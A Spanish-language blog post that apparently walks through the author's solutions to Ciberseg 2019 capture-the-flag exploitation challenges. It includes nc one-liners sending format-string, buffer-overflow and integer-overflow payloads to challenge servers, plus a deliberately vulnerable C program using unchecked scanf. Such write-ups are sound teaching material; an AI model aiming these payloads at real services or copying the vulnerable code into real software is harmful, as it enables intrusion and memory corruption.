En este post voy a explicar mis soluciones a los retos del Ciberseg de 2019. En concreto, este artículo se corresponde con los de la categoría de explotación.

El Ciberseg es un congreso que tiene lugar todos los años por estas fechas en la Universidad de Alcalá de Henares. La verdad es que los años anteriores siempre ha sido divertido, y este año no ha sido menos :) Además, el podio ha estado muy reñido y hubo sorpresas de última hora :D (al final gané en la última hora, literalmente, por apenas unos pocos puntitos).

En fin, estos son los retos y sus soluciones. Lamentablemente, estos retos eran todos remotos; así que no dispongo de los recursos para poder montarse los retos y resolverlos por vuestra cuenta.


1.- Loro (100 puntos)

La descripción de este reto dice así:

Hemos contratado a un loro para que gestione las flags. Lo tenemos viviendo en el puerto 2323

Este reto consistía en un programa que repetía exactamente lo que se enviaba. El problema es que no está bien escrito y no repite exactamente lo que se le envía. Por ejemplo, si se envía %p devuelve cosas como (nil), 0x8485632… Es decir, que es vulnerable a la explotación por cadenas de formato (format strings).

Para conseguir la bandera, simplemente hay que ir sacando el contenido de la memoria hasta conseguir la flag. Por ejemplo, me hice este script:

#!/bin/bash

for i in {1..20}
do
	printf "\n ---- %3d ---- \n" "$i"
	echo -e "AAAABBBB-%$i\$s\n" | nc ctf.alphasec.xyz 2323
done

Al intento diez u once aparece nuestra bandera: flag{passwordseña_dude}.


2.- Xorizo (125 puntos)

La descripción de este reto dice:

Hicimos el programa definitivo para superar estructuras discretas, pero al poner la contraseña, no conseguimos que descifre el secreto. La contraseña es “estructurasdiscretasjeje”, pero al introducirla nos saca algo incomprensible…

Este es el código:

void main(){

	char pass[24] = "xxxxxxxxxxxxxxxxxxxxxxxx";
	char x[10];

	char flag[24] = ...;

	char* res = malloc(24);

	scanf("%s", x);
	printf("%s\n", pass);

	int i;
	for(i = 0; i < 24; i++)
		res = pass ^ flag;

	printf("%s\n", res);

}

¿Nos echas una mano? Está corriendo en ctf.alphasec.xyz:2424

Al conectarnos, nos pedía una contraseña y luego imprimía una cadena con cosas que parecían basura. Sin embargo, si se ponen más de 10 caracteres, esta cadena que se imprime cambia. Como tenemos el código, podemos comprobar que se produce un buffer overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void main ()
{
	char pass [24] = "xxxxxxxxxxxxxxxxxxxxxxxx";
	char x [10];

	char flag [24] = ...;

	char* res = malloc (24);

==>	scanf ("%s", x);	/* OVERFLOW! No se comprueba que quepan en X */
	printf ("%s\n", pass);

	int i;
	for (i = 0; i < 24; i++)
		res = pass ^ flag;

	printf ("%s\n", res);
}

Como se muestra en la línea marcada (:10), se copia lo que venga por pantalla sin comprobar que quepan en la variable x, que sólo tiene espacio para 10 Bytes (9 caracteres más el delimitador de fin de cadena, 0x00). Una vez hemos rebasado la variable x, podemos sobrescribir el contenido de pass.

Como luego se hace una XOR entre la variable pass y la flag, podemos manipular los valores para sacar el valor original de la bandera. Pero… ¿cuáles son los valores apropiados para pass?

Deducimos que el valor de pass se sacó calculando flag \oplus pass. Sabiendo esto, nos podemos basar en que \left( flag \oplus pass \right) \oplus pass = flag para darle a pass el valor estructurasdiscretasjeje y nos sacaría el valor original de flag.

Juntándolo todo, nuestro exploit sería algo como esto:

printf "0123456789estructurasdiscretasjeje\n" | nc ctf.alphasec.xyz 2424

Y sacamos la flag: flag{lohacehastaunperro}


3.- Numerao, numerao… (150 puntos)

La descripción de este reto dice:

¡Viva la numeración!

En ctf.alphasec.xyz:2525 tenemos un sistema que sólo acepta a los números positivos, pero sobre todo le tiene tirria a los ceros. Si tras operar con las entradas obtuviese un 0… No queremos imaginarnos qué resultado catástrofico podría tener.

El servicio corriendo en el puerto 2525 pide tres números y luego devuelve su suma. Claramente, en este reto la intención es forzar un desbordamiento del tipo de dato para que los números sean negativos. En concreto, se trata de un int overflow: si ponemos un número mayor a \fn_cm \frac {2^{32}}{2} - 1 = 2147483647 podemos jugar con los tres operandos hasta obtener 0.

Al final los valores que usé fueron 2147483647, 2147483647 y 2:

echo -e "2147483647\n2147483647\n2" | nc ctf.alphasec.xyz 2525

Cuando conseguimos que la suma sea cero, nos devuelve la flag: flag{pavoreal_uuu}.


4.- Corre Chicote (200 puntos)

Este fue el único reto que no conseguí terminar; pero se trataba de explotar la condición de carrera TOCTOU (Time Of Check - Time Of Use). Os dejo por aquí el gist de @KaoRz, que sí consiguió sacarlo.

El código es bastante sencillo de entender: básicamente hay que acceder (por HTTP) a los recursos /verify y /read de manera simultánea hasta conseguir leer la bandera.


Y ya está. Estos retos eran más cortitos que los de criptología.

Siempre me lo paso bien con los retos del Ciberseg, y este año no ha sido menos. Espero poder competir el año que viene, que seguro que se superan otra vez.

También quiero dar mi enhorabuena a los organizadores por todo su esfuerzo y su creatividad para crear retos fuera de lo común :D